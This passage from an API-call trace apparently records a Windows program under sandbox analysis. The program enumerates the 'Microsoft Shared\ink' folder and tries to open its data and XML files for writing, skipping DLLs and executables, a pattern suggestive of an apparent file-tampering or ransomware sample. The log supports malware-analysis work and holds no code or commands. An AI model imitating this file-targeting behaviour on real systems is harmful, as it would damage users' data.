(HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2c7fc8 [0142.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.523] GetProcessHeap () returned 0x2a0000 [0142.523] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fc8 | out: hHeap=0x2a0000) returned 1 [0142.523] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.523] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0142.523] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.523] GetProcessHeap () returned 0x2a0000 [0142.523] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2a0000) returned 1 [0142.523] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0142.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.524] GetLastError () returned 0x5 [0142.524] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0142.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.524] GetLastError () returned 0x5 [0142.524] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0142.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.525] GetLastError () returned 0x5 [0142.525] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0142.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.526] GetLastError () returned 0x5 [0142.526] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0142.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.526] GetLastError () returned 0x5 [0142.526] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0142.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.526] GetLastError () returned 0x5 [0142.526] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0142.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.526] GetLastError () returned 0x5 [0142.526] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0142.526] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0142.526] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0142.526] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0142.526] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0142.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.527] GetLastError () returned 0x5 [0142.527] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0142.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.528] GetLastError () returned 0x5 [0142.528] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0142.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.529] GetLastError () returned 0x5 [0142.529] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0142.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.529] GetLastError () returned 0x5 [0142.529] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0142.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.529] GetLastError () returned 0x5 [0142.529] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0142.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.529] GetLastError () returned 0x5 [0142.529] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0142.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.530] GetLastError () returned 0x5 [0142.530] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0142.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.531] GetLastError () returned 0x5 [0142.531] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0142.531] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0142.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.531] GetLastError () returned 0x5 [0142.531] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0142.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.532] GetLastError () returned 0x5 [0142.532] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0142.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.532] GetLastError () returned 0x5 [0142.532] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0142.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.532] GetLastError () returned 0x5 [0142.532] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0142.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.533] GetLastError () returned 0x5 [0142.533] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0142.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.535] GetLastError () returned 0x5 [0142.535] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0142.535] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0142.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.535] GetLastError () returned 0x5 [0142.535] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, 